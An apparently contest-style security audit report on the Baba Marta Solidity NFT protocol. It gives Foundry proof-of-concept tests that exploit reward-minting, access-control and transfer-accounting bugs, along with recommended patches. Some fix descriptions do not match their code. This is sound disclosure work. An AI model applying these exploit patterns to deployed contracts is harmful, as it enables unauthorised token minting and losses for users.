Baba-Marta Audit Report

Version 1.0

Ardeshir Gholami

April 17, 2024

Protocol Audit Report

Ardeshir Gholami

17 April 2024

Prepared by: Ardeshir Lead Auditors: - Ardeshir

Table of Contents

Protocol Summary

Every year on 1st March people in Bulgaria celebrate a centuries-old tradition called the day of Baba Marta ("Baba" means Grandma and "Mart" means March), related to sending off the winter and welcoming the approaching spring. The "Baba Marta" protocol allows you to buy `MartenitsaToken` and to give it away to friends!

Disclaimer

I make all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

5eaab7b51774d1083b926bf5ef116732c5a35cfd

Scope

```
/ src
    . HealthToken.sol
    . MartenitsaEvent.sol
    . MartenitsaMarketplace.sol
    . MartenitsaToken.sol
    . MartenitsaVoting.sol
    . SpecialMartenitsaToken.sol
```

Roles

Producer - Should be able to create martenitsa and sell it. The producer can also buy martenitsa, make present and participate in vote. The martenitsa of producer can be candidate for the winner of voting.

User - Should be able to buy martenitsa and make a present to someone else. The user can collect martenitsa tokens and for every 3 different martenitsa tokens will receive 1 health token. The user is also able to participate in a special event and to vote for one of the producer's martenitsa.

Executive Summary

Issues found

Severity	number of issues found
High	4
Medium	1

Severity	number of issues found
Low	2
Info	-
Total	7

Findings

High

[H-1] Producers/Users can use `MartenitsaMarketplace::makePresent` to move his own NFTs to a new account and mint infinite `HealthTokens`

Description: The `MartenitsaMarketplace::makePresent` function allows a users/producers to transfer their own NFTs to a new account. This functionality, when exploited, can be used with creating new accounts to continuously mint `HealthTokens` without any limit, leading to an unlimited supply of HealthTokens in the marketplace.Also using same logic anyone who buys 3 nfts can do the same and mint infinite `HealthTokens`.

Impact: This vulnerability can lead to a significant imbalance in the marketplace, devaluing the `HealthTokens` and potentially causing economic instability within the ecosystem. It can also be used to manipulate the market, affecting the value of `NFTs` and `HealthTokens` adversely.

Proof of Concept: Exploit Steps: 1. A producer makes 3 nfts with calling `MartenitsaToken::createMartenitsa` 2. A producer calls `MartenitsaMarketplace::makePresent` to transfer their NFT to a new account. 3. The producer then uses the new account to mint HealthTokens indefinitely. 4. This process can be repeated to create multiple accounts, each capable of minting HealthTokens without limit. Add this test to your test suit for proof of concept:

```
function testProducerUsesPreseantToGetHealthTokens() public {
        //jack creates 3 nfts
        vm.startPrank(jack);
        martenitsaToken.createMartenitsa("bracelet");
        martenitsaToken.createMartenitsa("necklaces");
        martenitsaToken.createMartenitsa("tassels");
        vm.stopPrank();

        assertEq(martenitsaToken.getCountMartenitsaTokensOwner(jack),
            3);
        address jackAcc2 = makeAddr("Jack2");
        //jack transfers his nfts to his second account
```

```
12          vm.startPrank(jack);
13          martenitsaToken.approve(address(marketplace), 0);
14          martenitsaToken.approve(address(marketplace), 1);
15          martenitsaToken.approve(address(marketplace), 2);
16
17          marketplace.makePresent(jackAcc2, 0);
18          marketplace.makePresent(jackAcc2, 1);
19          marketplace.makePresent(jackAcc2, 2);
20          //jacks get a new healthtoken
21          vm.startPrank(jackAcc2);
22          marketplace.collectReward();
23          vm.stopPrank();
24          assertEq(martenitsaToken.getCountMartenitsaTokensOwner(jackAcc2
                ), 3);
25          assertEq(healthToken.balanceOf(jackAcc2), 1 ether);
26      }
```

The code above does the process for one time and the gas cost is around 397587 which can be considerd low. here is a more detailed test if you want to check that this process can be done indefinitely, doing it for 10 times and minting 10 free `healthTokens` only costs 1942632 gas:

Infinite Test PoC:

```
1       function testProducerUsesPreseantToGetHealthTokensIndefinitely()
            public {
2           //jack creates 3 nfts
3           vm.startPrank(jack);
4           martenitsaToken.createMartenitsa("bracelet");
5           martenitsaToken.createMartenitsa("necklaces");
6           martenitsaToken.createMartenitsa("tassels");
7           vm.stopPrank();
8           assertEq(martenitsaToken.getCountMartenitsaTokensOwner(jack),
                3);
9           address prevAccount = jack;
10          uint256 numberOfTokensToMint = 10;
11          uint256 numberOfTokensMinted = 0;
12          for (uint256 i; i < numberOfTokensToMint; i++) {
13              //jack transfers his nfts to his second account
14              address newAccount = address(uint160(i + 100));
15              vm.startPrank(prevAccount);
16              martenitsaToken.approve(address(marketplace), 0);
17              martenitsaToken.approve(address(marketplace), 1);
18              martenitsaToken.approve(address(marketplace), 2);
19              marketplace.makePresent(newAccount, 0);
20              marketplace.makePresent(newAccount, 1);
21              marketplace.makePresent(newAccount, 2);
22              vm.stopPrank();
23              //jacks get a new healthtoken
24              vm.prank(newAccount);
25              marketplace.collectReward();
26              prevAccount = newAccount;
```

```
27              assertEq(
28                  martenitsaToken.getCountMartenitsaTokensOwner(
                        newAccount),
29                  3
30              );
31              assertEq(healthToken.balanceOf(newAccount), 1 ether);
32              numberOfTokensMinted++;
33          }
34          assertEq(numberOfTokensMinted, numberOfTokensToMint);
35      }
```

Recommended Mitigation: To mitigate this issue I recommend 2 methods: 1. Access Control for `makePresent`: Implement an access control mechanism to restrict the use of `makePresent` for producers to only allow producers to sell their NFTs through `marketplace` methods. This prevents producers from transferring their NFTs to new accounts and exploiting the minting mechanism.

2. Snapshot or One-Time Minting Mechanism: To address the issue of users buying multiple NFTs and exploiting the reward mechanism, consider changing the reward logic to use a snapshot mechanism or a one-time only mechanism for minting rewards. This could involve the marketplace airdropping tokens only once in a certain timeframe, ensuring that rewards are distributed equitably and preventing the creation of an unlimited supply of HealthTokens.

[H-2] `MartenitsaMarketplace::collectReward` calculates the already paid `healthTokens` incorrectly

Description: The MartenitsaMarketplace::collectRewards function is designed to calculate the amount of healthTokens that have already been paid by a user. However, it appears to be calculating this amount incorrectly, leading to discrepancies in the rewards distribution and potentially allowing users to collect more rewards than they are entitled to.

```
1       function collectReward() external {
2           require(
3               !martenitsaToken.isProducer(msg.sender),
4               "You are producer and not eligible for a reward!"
5           );
6           uint256 count = martenitsaToken.getCountMartenitsaTokensOwner(
7               msg.sender
8           );
9           uint256 amountRewards = (count / requiredMartenitsaTokens) -
10              _collectedRewards[msg.sender];
11          if (amountRewards > 0) {
12  @>          _collectedRewards[msg.sender] = amountRewards; // this line
        is wrong it should be += instead of =
13              healthToken.distributeHealthToken(msg.sender, amountRewards
                    );
```

```
14          }
15      }
```

Impact: This issue can lead to significant financial losses for the marketplace and its users, as users may collect more rewards than they have earned. It can also undermine trust in the marketplace's reward system, affecting user engagement and the overall health of the ecosystem.

Proof of Concept: Exploit Steps: 1. User buys 3 nfts and calls the `collectReward` => gets 1 `healthToken`, has 3 nfts and 1 tokens now 2. User buys another 3 nfts and calls the `collectReward` again => gets 1 `healthToken`, has 6 nfts and 2 tokens now 3. User buys another 3 nfts and calls the `collectReward` again => gets 2 `healthToken`, has 9 nfts and 4 tokens now Here is the proof of concept just add this to the test suit:

```
1       function make3NftsAndDealThemToBob(
2           string memory name1,
3           string memory name2,
4           string memory name3,
5           uint256 tokenIdCount
6       ) internal {
7           //helper function
8           vm.startPrank(jack);
9           martenitsaToken.createMartenitsa(name1);
10          martenitsaToken.createMartenitsa(name2);
11          martenitsaToken.createMartenitsa(name3);
12          martenitsaToken.approve(address(marketplace), tokenIdCount + 0)
                ;
13          martenitsaToken.approve(address(marketplace), tokenIdCount + 1)
                ;
14          martenitsaToken.approve(address(marketplace), tokenIdCount + 2)
                ;
15          marketplace.makePresent(bob, tokenIdCount + 0);
16          marketplace.makePresent(bob, tokenIdCount + 1);
17          marketplace.makePresent(bob, tokenIdCount + 2);
18          vm.stopPrank();
19      }
20
21      function testCollectRewardsCalculatesIncorrectly() public {
22          //bob gets 3 nfts via buying or present
23          make3NftsAndDealThemToBob("1", "2", "3", 0);
24          vm.prank(bob);
25          marketplace.collectReward();
26          assertEq(martenitsaToken.getCountMartenitsaTokensOwner(bob), 3)
                ;
27          assertEq(healthToken.balanceOf(bob), 1 ether);
28          //bob gets 3 nfts via buying or present
29          make3NftsAndDealThemToBob("4", "5", "6", 3);
30          vm.prank(bob);
31          marketplace.collectReward();
32          assertEq(martenitsaToken.getCountMartenitsaTokensOwner(bob), 6)
```

```
            ;
33          assertEq(healthToken.balanceOf(bob), 2 ether);
34          //bob gets 3 nfts via buying or present
35          make3NftsAndDealThemToBob("7", "8", "9", 6);
36          vm.prank(bob);
37          marketplace.collectReward();
38          assertEq(martenitsaToken.getCountMartenitsaTokensOwner(bob), 9)
                ;
39          assertEq(healthToken.balanceOf(bob), 4 ether); // he gets 2 new
                healthTokens instead of 1
40      }
```

Recommended Mitigation: Review and Correct the Calculation Logic: Thoroughly review the logic used in `MartenitsaMarketplace::collectReward` to calculate the amount of healthTokens paid by a user. Ensure that the calculation accurately reflects the user's contributions and does not overestimate the amount.

```
1       function collectReward() external {
2           require(
3               !martenitsaToken.isProducer(msg.sender),
4               "You are producer and not eligible for a reward!"
5           );
6           uint256 count = martenitsaToken.getCountMartenitsaTokensOwner(
7               msg.sender
8           );
9           uint256 amountRewards = (count / requiredMartenitsaTokens) -
10              _collectedRewards[msg.sender];
11          if (amountRewards > 0) {
12  -           _collectedRewards[msg.sender] = amountRewards; // this line
        is wrong it should be += instead of =
13  +           _collectedRewards[msg.sender] += amountRewards;
14              healthToken.distributeHealthToken(msg.sender, amountRewards
                    );
15          }
16      }
```

[H-3] `MartenitsaToken::updateCountMartenitsaTokensOwner` Missing Access Control

Description: The `MartenitsaToken::updateCountMartenitsaTokensOwner` function is designed to update the count of `MartenitsaTokens` owned by a user. However, due to the absence of access control, any user can call this function to arbitrarily increase their `countMartenitsaTokensOwner`, potentially allowing them to mint `HealthTokens` without actually owning any NFTs. This lack of access control can lead to significant security vulnerabilities and economic instability within the ecosystem.

```
1       function updateCountMartenitsaTokensOwner(
2           address owner,
3           string memory operation
4   @>  ) external { // no access control - only marketplace should be able
        to call this!
5           if (
6               keccak256(abi.encodePacked(operation)) ==
7               keccak256(abi.encodePacked("add"))
8           ) {
9               countMartenitsaTokensOwner[owner] += 1;
10          } else if (
11              keccak256(abi.encodePacked(operation)) ==
12              keccak256(abi.encodePacked("sub"))
13          ) {
14              countMartenitsaTokensOwner[owner] -= 1;
15          } else {
16              revert("Wrong operation");
17          }
18      }
```

Impact: This vulnerability can enable users to artificially inflate their token counts and mint `HealthTokens` without any legitimate ownership of `MartenitsaTokens`, leading to an imbalance in the token economy. It can also be used to manipulate the marketplace and the value of `HealthTokens`, affecting the overall health and trust in the system.

Proof of Concept: Exploit Senario: 1. Bob Calls `updateCountMartenitsaTokensOwner` 300 times. 2. Bob collects rewards! equal to 100 tokens!

```
1       function testUpdateCountMartenitsaTokensOwnerMissesAccessControl()
            public {
2           vm.startPrank(bob);
3           for (uint256 i; i < 300; i++) {
4               martenitsaToken.updateCountMartenitsaTokensOwner(bob, "add"
                    );
5           }
6           marketplace.collectReward();
7           assertEq(healthToken.balanceOf(bob), 100 ether);
8       }
```

Recommended Mitigation: Add access control to the `updateCountMartenitsaTokensOwner` function to ensure that only authorized users (e.g., marketplace contract) can call this function. This can prevent unauthorized users from manipulating their token counts.

```
1       function updateCountMartenitsaTokensOwner(
2           address owner,
3           string memory operation
4       ) external {
5   +       require(
```

```
+           msg.sender == address(_martenitsaMarketplace),
+           "Unable to call this function"
+       );
        if (
            keccak256(abi.encodePacked(operation)) ==
            keccak256(abi.encodePacked("add"))
        ) {
            countMartenitsaTokensOwner[owner] += 1;
        } else if (
            keccak256(abi.encodePacked(operation)) ==
            keccak256(abi.encodePacked("sub"))
        ) {
            countMartenitsaTokensOwner[owner] -= 1;
        } else {
            revert("Wrong operation");
        }
    }
```

[H-4] Inheritance Instead of Importing ERC721 Token Contract in `MartenitsaEvent` Causes Previous Producers and Produced NFTs to be Ignored During Event

Description: the `MartenitsaEvent` contract inherits the `MartenitsaToken` contract so it itself is an ERC721 token which introduces its own state variables such as `_nextTokenId` , `producers`, `countMartenitsaTokensOwner`, `isProducer`, `tokenDesigns` which ignores previous values stored in the main `MartenitsaToken` contract.

```
@> contract MartenitsaEvent is MartenitsaToken {
        HealthToken private _healthToken;
        uint256 public eventStartTime;
    .
    .
    .
}
```

This approach is not a design choice, as evidenced by the deployment script (`BaseTest`), where a new `MartenitsaToken` is used as the ERC721 token instead of `MartenitsaEvent`. Additionally, the marketplace uses the `Token` contract, not the `Event` one, as its token input.

BaseTest contract

```
    contract BaseTest is Test {

        MartenitsaToken public martenitsaToken;
        HealthToken public healthToken;
        MartenitsaMarketplace public marketplace;
        MartenitsaVoting public voting;
        MartenitsaMarketplace.Listing list;
```

```
8           MartenitsaEvent public martenitsaEvent;
9           .
10          .
11          .
12          function setUp() public {
13              jack = makeAddr("jack");
14              chasy = makeAddr("chasy");
15              bob = makeAddr("bob");
16              producers.push(jack);
17              producers.push(chasy);
18
19              vm.deal(bob, 5 ether);
20
21  @>          martenitsaToken = new MartenitsaToken();
22              healthToken = new HealthToken();
23  @>          marketplace = new MartenitsaMarketplace(address(healthToken
        ), address(martenitsaToken));
24              voting = new MartenitsaVoting(address(marketplace), address
                    (healthToken));
25  @>          martenitsaEvent = new MartenitsaEvent(address(healthToken))
        ;
26
27              healthToken.setMarketAndVotingAddress(address(marketplace),
                     address(voting));
28              martenitsaToken.setProducers(producers);
29
30          }
31          .
32          .
33          .
34  }
```

Impact: This issue leads to several problems for the event contract: 1. `MartenitsaEvent::joinEvent` uses the `MartenitsaEvent::isProducer` mapping to check if the user is not a producer. However, this mapping is empty, and previous producers are in `MartenitsaToken::isProducer`. If producers buy a `HealthToken`, they can enter the event, which is not crucial for project functionality but is against documentation. 2. `MartenitsaEvent::joinEvent` uses the `MartenitsaEvent::_addProducer()` function to add users as producers during event time, allowing them to create new NFTs. However, users cannot mint NFTs if they call `MartenitsaToken::createMartenitsa`; it will fail because they are not a producer in this contract. If they accidentally call `MartenitsaEvent::createMartenitsa`, there will be two instances of the ERC721 contract with the same token IDs. 3. if users happen to create any tokens in `MartenitsaEvent::createMartenitsa`, they wont be able to list them to market during the event period.

Proof of Concept: To prove this concept, add the following test to the existing test suite: 1. Event starts. 2. User gets 3 NFTs, mints a `HealthToken`. 3. User joins the event and becomes a producer. 4. User mints new NFTs in `MartenitsaEvent::createMartenitsa` but is unable to list it to

`MarketPlace`. 5. User is unable to mint any NFTs in `MartenitsaToken::createMartenitsa`.

```
    function testInheritenceIsWrong2() public activeEvent eligibleForReward {
        // activeEvent and eligibleForReward ensures steps 1 and 2
        // so bob has 3 nfts now and the event is started
        vm.startPrank(bob);
        marketplace.collectReward(); // mints healthtoken
        healthToken.approve(address(martenitsaEvent), 1 ether);
        martenitsaEvent.joinEvent(); // joins the event and becomes producer step 3
        //creating in token contract fails / step 5
        vm.expectRevert("You are not a producer!");
        martenitsaToken.createMartenitsa("bracelets");
        assertEq(martenitsaToken.balanceOf(bob), 3); // still has 3 original nfts in this contract

        //creating in event contract succeeds / step 4
        martenitsaEvent.createMartenitsa("bracelets");
        assertEq(martenitsaEvent.balanceOf(bob), 1); // just has 1 new nft in this contract

        // bob is unable to list his newly created NFT
        vm.expectRevert("You are not a producer!");
        marketplace.listMartenitsaForSale(0, 1 ether);
    }
```

Recommended Mitigation: Instead of inheriting the `Token` contract, get the address as input and create it as a state variable in the constructor. This way, the ERC721 contract will be the same for all NFTs, whether created during or before the event. here is a possible recomendation:

```
-contract MartenitsaEvent is MartenitsaToken {
+contract MartenitsaEvent {

    HealthToken private _healthToken;
+   MartenitsaToken private _martenitsaToken;
    uint256 public eventStartTime;
    uint256 public eventDuration;
    uint256 public eventEndTime;
    uint256 public healthTokenRequirement = 10 ** 18;
    address[] public participants;

    mapping(address => bool) private _participants;

    event EventStarted(uint256 indexed startTime, uint256 indexed eventEndTime);
    event ParticipantJoined(address indexed participant);

-    constructor(address healthToken) onlyOwner {
```

```
18 +    constructor(address healthToken, address martenitsaToken)
       onlyOwner {
19
20          _healthToken = HealthToken(healthToken);
21 +        _martenitsaToken = MartenitsaToken(martenitsaToken)
22      }
23
24      /**
25       * @notice Function to start an event.
26       * @param duration The duration of the event.
27       */
28      function startEvent(uint256 duration) external onlyOwner {
29          eventStartTime = block.timestamp;
30          eventDuration = duration;
31          eventEndTime = eventStartTime + duration;
32          emit EventStarted(eventStartTime, eventEndTime);
33      }
34
35      /**
36       * @notice Function to join to event. Each participant is a
             producer during the event.
37       * @notice The event should be active and the caller should not be
             joined already.
38       * @notice Producers are not allowed to participate.
39       */
40
41      function joinEvent() external {
42          require(block.timestamp < eventEndTime, "Event has ended");
43          require(
44              !_participants[msg.sender],
45              "You have already joined the event"
46          );
47          require(
48 -            !isProducer[msg.sender],
49 +            !_martenitsaToken.isProducer(msg.sender),
50
51              "Producers are not allowed to participate"
52          );
53          require(
54              _healthToken.balanceOf(msg.sender) >=
                    healthTokenRequirement,
55              "Insufficient HealthToken balance"
56          );
57
58          _participants[msg.sender] = true;
59          participants.push(msg.sender);
60          emit ParticipantJoined(msg.sender);
61
62          bool success = _healthToken.transferFrom(
63              msg.sender,
64              address(this),
```

```
65                healthTokenRequirement
66            );
67            require(success, "The transfer is not successful");
68  -         _addProducer(msg.sender);
69  +         _martenitsaToken._addProducer(msg.sender);
70        }
71
72        /**
73         * @notice Function to remove the producer role of the participants
                after the event is ended.
74         */
75        function stopEvent() external onlyOwner {
76            require(block.timestamp >= eventEndTime, "Event is not ended");
77            for (uint256 i = 0; i < participants.length; i++) {
78                isProducer[participants[i]] = false;
79            }
80        }
81
82        /**
83         * @notice Function to get information if a given address is a
              participant in the event.
84         */
85        function getParticipant(address participant) external view returns
             (bool) {
86            return _participants[participant];
87        }
88
89        /**
90         * @notice Function to add a new producer.
91         * @param _producer The address of the new producer.
92         */
93  +     // remove this function from here and add it to Token Contract
94  -     function _addProducer(address _producer) internal {
95  -         isProducer[_producer] = true;
96  -         producers.push(_producer);
97  -     }
98    }
```

Medium

[M-1] `MartenitsaToken::transferFrom` Functions are not Overriden and as a Result When Using Them `MartenitsaToken::countMartenitsaTokensOwner` State Variables For New and Previous Owners Does not Update

Description: The `MartenitsaToken` contract does not override the `safeTransfer` and `safeTransferFrom` functions inherited from the ERC721 standard. As a result, when these functions are used to transfer tokens, the `countMartenitsaTokensOwner` state variables for

both the new and previous owners do not get updated correctly.

Impact: This issue can significantly affect the functionality and integrity of the `MartenitsaToken` contract, as it relies on accurate tracking of token ownership to manage token transfers and interactions. Incorrect updates to the `countMartenitsaTokensOwner` state variables can lead to:

1. Misrepresentation of token ownership, affecting the value and utility of tokens.
2. Inability to accurately distribute rewards (such as `healthToken`) or perform other token-related operations based on ownership.
3. Potential for fraud or manipulation, as the contract's reliance on accurate ownership data is compromised.

Proof of Concept: Add the code below to your test suit:

```
1     function testTransferAndTransferFromNotOverriden() public
          createMartenitsa {
2         vm.startPrank(chasy);
3         uint256 ChasyCountBefore = martenitsaToken.
              countMartenitsaTokensOwner(
4             chasy
5         );
6         assertEq(ChasyCountBefore, 1);
7         martenitsaToken.approve(bob, 0);
8         martenitsaToken.safeTransferFrom(chasy, bob, 0);
9         uint256 ChasyCountAfter = martenitsaToken.
              countMartenitsaTokensOwner(
10            chasy
11        );
12        uint256 bobCountAfter = martenitsaToken.
              countMartenitsaTokensOwner(bob);
13        assertEq(ChasyCountAfter, 1); // this should be zero, but its
              not
14        assertEq(bobCountAfter, 0);
15        assertEq(martenitsaToken.balanceOf(chasy), 0); // this should
              be zero, and it is
16        assertEq(martenitsaToken.balanceOf(bob), 1); // this should be
              1, and it is
17    }
```

Recommended Mitigation: To fix this issue override the `safeTransferFrom` function and make it so it updates the `countMartenitsaTokensOwner` before transfering it to others.

```
1 contract MartenitsaToken is ERC721, Ownable {
2     .
3     .
4     .
5
6     /**
```

```
7         * @notice Function to update the count of martenitsaTokens for a
              specific address.
8         * @param owner The address of the owner.
9         * @param operation Operation for update: "add" for +1 and "sub"
              for -1.
10        */
11      function updateCountMartenitsaTokensOwner(
12          address owner,
13          string memory operation
14  -   ) external {
15  +   ) public {
16          if (
17              keccak256(abi.encodePacked(operation)) ==
18              keccak256(abi.encodePacked("add"))
19          ) {
20              countMartenitsaTokensOwner[owner] += 1;
21          } else if (
22              keccak256(abi.encodePacked(operation)) ==
23              keccak256(abi.encodePacked("sub"))
24          ) {
25              countMartenitsaTokensOwner[owner] -= 1;
26          } else {
27              revert("Wrong operation");
28          }
29      }
30
31  +   function transferFrom(
32  +       address from,
33  +       address to,
34  +       uint256 tokenId
35  +   ) public override {
36  +       updateCountMartenitsaTokensOwner(from, "sub");
37  +       updateCountMartenitsaTokensOwner(to, "add");
38  +       super.transferFrom(from, to, tokenId);
39  +   }
40      .
41      .
42      .
43
44  }
```

Low

[L-1] `MartenitsaToken::tokenURI` is Empty and not Overriden, Leading to Incomplete NFTs

Description: The absence of a tokenURI in the MartenitsaToken contract results in tokens lacking associated metadata. Consequently, users and applications cannot access information about the token, including its name, description, or image.

Impact: This issue significantly reduces the utility and appeal of the tokens, as they lack the rich context and information that metadata provides. It also affects the user experience, as users cannot see detailed information about the tokens they interact with or view. Additionally, it reduces the interoperability of the tokens with other systems and platforms, which expect tokens to have associated metadata.

Proof of Concept: Here is a simple code that shows the problem:

```
    function testTokenURIIsEmpty() public createMartenitsa {
        string memory tokenUri = martenitsaToken.tokenURI(0);
        assert(
            keccak256(abi.encodePacked(tokenUri)) ==
                keccak256(abi.encodePacked(""))
        );
    }
```

Recommended Mitigation: Ensure that each MartenitsaToken has a valid tokenURI that points to a JSON file containing the token's metadata. This will allow users and applications to access and display the token's information.

[L-2] Producer Can List an NFT in `MartenitsaMarketplace` and Then Send it as a Present Without Removing It From Listing

Description: Producers can list their NFTs using the `listMartenitsaForSale` function and then, without removing it from the listings, send it to another user using the `makePresent` function.

Impact: This process does not remove the NFT from the listing but can lead to several issues: 1. The `buyMartenitsa` function will always revert because the producer is no longer the owner of the NFT. 2. The `getListing` function will return incorrect data, indicating that the NFT is still for sale when it has been transferred. 3. Users can still vote for the NFT using the `MartenitsaVoting::voteForMartenitsa` function, and the producer will receive the `HealthToken` as if the NFT were still for sale. Note that this might be a design choice, as the `getListing` and `buyMartenitsa` functions will still not perform correctly in this case. **Proof of Concept:** The test below if added to the test suit can be used as proof of concept:

```
function testListThenPreseant() public createMartenitsa {
        vm.startPrank(chasy);
        marketplace.listMartenitsaForSale(0, 1 ether);

        martenitsaToken.approve(address(marketplace), 0);
        martenitsaToken.approve(address(bob), 0);

        martenitsaToken.safeTransferFrom(chasy, bob, 0);
        vm.stopPrank();

        vm.prank(bob);
```

```
12          martenitsaToken.approve(address(marketplace), 0);
13
14          vm.deal(jack, 10 ether);
15          vm.prank(jack);
16          (list) = marketplace.getListing(0);
17          // getListing still returns true but buyMartenitsa is unusable
18          uint256 tokenId = list.tokenId;
19          assertEq(tokenId, 0);
20          vm.expectRevert();
21          marketplace.buyMartenitsa{value: 1 ether}(0);
22      }
```

Recommended Mitigation: Check for tokens being listed in makePresent function.